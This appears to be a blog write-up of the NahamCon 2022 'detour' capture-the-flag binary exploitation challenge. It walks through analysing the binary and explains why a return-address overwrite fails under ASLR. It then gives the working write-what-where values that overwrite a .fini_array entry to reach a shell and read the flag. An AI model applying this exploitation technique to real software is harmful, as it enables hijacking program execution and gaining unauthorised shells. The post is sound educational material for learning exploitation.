NahamCon 2022 - Detour

CTF binary exploitation called detour

Intro

Of the many categories with challenges presented at NahamCon2022 CTF, binary exploitation is one of them. I was very interested in working on this category because a) I'm pretty inexperienced at it and b) I feel I have some pretty good debugging skills on C and assembly, so I would be comfortable looking through the low level code.

Taking a Look

The first thing to do is to take a look at the materials provided. In this challenge, one can download a binary and/or connect to a remote service (that runs said binary). So after downloading detour, let's take a look at what we've got.

$ file detour

detour: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=af4c8eacd5103d70965126396d4348dabfe23896, for GNU/Linux 3.2.0, not stripped

Ok, so a 64 bit ELF file, our system is 64 bit, so we could run it locally if we want to (but first, let's take a look deeper and make sure we at least have a sense of what it's doing. Chances are low that it is malicious because this is supposed to be for fun, but running an unknown executable is probably not a good habit.)

Using Ghidra - Enter the Dragon

Explaining how to use Ghidra is both beyond the scope of this article and my capabilities. I recommend The Ghidra Book: The Definitive Guide by No Starch Press. Luckily this challenge is listed as "easy" so we can get by poking around like an amateur.

main

After setting up the project and running analysis on the binary, it's pretty easy to start at the main function.

The main() function is pretty straightforward, and matches what one might expect from the challenge description:

write-what-where as a service! Now how do I detour away from the intended path of execution?

It does all the hard work of a binary exploit for us. Namely writing a user supplied value at a user supplied location in memory. Nice. We may also take notice of the __stack_chk_fail() which appears to be the implementation of stack overwrite protection, at least in so far as it checks to make sure the local (stack) variable in_FS_OFFSET is not overwritten.

Ghidra let's you rename variables as you manually analyze the code, which I've done here, naming one local value (for what) and another offset for (where). We can double check the reading of these values, which use scanf by looking at the read only data, .rodata for the format strings.

So the program reads a value as an unsigned size_t "%zu" and offset as a long "%ld". It then adds offset to to the address of base, which is defined in the .bss section at the address 0x403430.

Finding an Opening

So what's the plan? How about we overwrite the return address left on the stack to jump to somewhere interesting? "But what about that stack check at the end of main()"? you might be wondering. Well it only checks that specifically one location in the stack is not overwritten, at the address separating local variables to whatever was pushed to the stack before the function call (like the return address). Since we can accurately target writing 4 bytes (the size of a size_t on this platform), we can avoid altering that sentinel value.

win

There is a clear and glaring (remember, this challenge is "easy") way to win. It's a function called win() that calls system("/bin/sh") spawning a shell.

win() is located at 0x401209, so if we calculate the offset from base to there, and we convert that to decimal, we can poke the address of win() into the stack, and when main() returns, it will jump to there and we win. The location we want to write to is on the stack where the return address is stored: 0x00007FFFFFFFDEE8

0x00007FFFFFFFDEE8 - 0x403430 = 0x7FFFFFBFAAB8 (140737484139192)

Works on My Machinetm

-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00000000004012D0  RCX: 0x0000000000000000  RDX: 0x00007FFFFFFFDEE8  o d I t s Z a P c 
  RSI: 0x00007FFFFFBFAAB8  RDI: 0x00007FFFFFFFD980  RBP: 0x0000000000000000  RSP: 0x00007FFFFFFFDEF0  RIP: 0x0000000000401209
  R8 : 0x000000000000000A  R9 : 0x0000000000000000  R10: 0x00007FFFF7F51AC0  R11: 0x00007FFFF7F523C0  R12: 0x00000000004010F0
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
[0x002B:0x00007FFFFFFFDEF0]-------------------------------------------------------------------------------------------[stack]
0x00007FFFFFFFDF40 : EF D5 26 A0 E3 FE 97 BD - EF D5 AA 32 A3 EE 97 BD ..&........2....
0x00007FFFFFFFDF30 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
0x00007FFFFFFFDF20 : F0 10 40 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ..@.............
0x00007FFFFFFFDF10 : D0 12 40 00 00 00 00 00 - EF D5 C6 1D 1C 01 68 42 ..@...........hB
0x00007FFFFFFFDF00 : 20 12 40 00 00 00 00 00 - 09 E3 FF FF FF 7F 00 00  .@.............
0x00007FFFFFFFDEF0 : D8 DF FF FF FF 7F 00 00 - 00 A0 FC F7 01 00 00 00 ................
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x401209 <win>:      endbr64 
   0x40120d <win+4>:    push   rbp
   0x40120e <win+5>:    mov    rbp,rsp
   0x401211 <win+8>:    lea    rdi,[rip+0xdec]        # 0x402004
   0x401218 <win+15>:   call   0x4010b0 <system@plt>
   0x40121d <win+20>:   nop
   0x40121e <win+21>:   pop    rbp
   0x40121f <win+22>:   ret    
-----------------------------------------------------------------------------------------------------------------------------
0x0000000000401209 in win ()
gdb$ c
Continuing.
[Detaching after vfork from child process 5667]
$ 

Ok, it "works", but we have a sneaking suspicion that these magic numbers are not reliable. We can confirm this by connecting to the actual challenge:

nc <challenge IP> <challenge port>

and... yeah no dice. I suspect ASLR (Address Space Layout Randomization)

Checking In

One of the great things about this CTF is that the challenge writers were hanging out, on and off, in a discord channel. I reached out to the developer and confirmed my suspicion. They asked me two very helpful questions, which sent me on my way to the next step:

ASLR is enabled on the server

We won't be able to solve this challenge this way because the location of the stack is going to be randomized.

What are the binary protections returned when you run checksec?

So I run that (I learned a new tool!):

$ checksec --file=detour    
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
No RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   73) Symbols       No    0               1               detour

and then

Have you ever seen No RELRO before?

I had not, so off to Google I go, and read about RELRO. This nice article on Hardening ELF binaries using Relocation Read-Only (RELRO) spells it all out. The article details how RELRO hardens against a technique that works around ASLR, but this binary is NORELRO, so it doesn't have this protection in place.

GOT PLT?

The tl;dr on this technique will be to overwrite an entry which is a pointer to a function that will be executed after our write via value and offset. The article uses examples of external functions that get fixed up in a "lazy" fashion when they are first used. RELRO protects against malicious code overwriting these values by fixing them all up at start up, and then marking the section as READ ONLY. So we just need to find a function called after our input that we can write the address of win() to. There are not the usual stdlib functions like printf, scanf etc called after our input, so what is there?.

Aha, __do_global_dtor_aux(). I believe "dtor" is short for "destructor" which should do cleanup code. It's called automatically as the program is cleaning up to exit.

We can find an entry for the address of this function in the .fini.array section, which will not be set to READ ONLY:

So the calculate the offset from base:

0x4031c8 - 0x403430 = -616

and use that as the offset input.

Solution

$ nc <challenge host> <challenge port>
What: 4198921
Where: -616
whoami
challenge
ls
bin
detour
dev
etc
flag.txt
lib
lib32
lib64
libx32
usr
cat flag.txt
flag{<redacted>}

A Final Joke / Hint

I only realized after the challenge, that there is another joke/hint within the challenge. Since we ended up overwriting __do_global_dtors_aux(), you could pronounce "dtor" as "detour" :slightly-smiling-face:

Parting Thought

I'd like to do this challenge again, using pwntools, in order to learn how that works, but I'm not sure I'll have time before the CTF infrastructure is dismantled.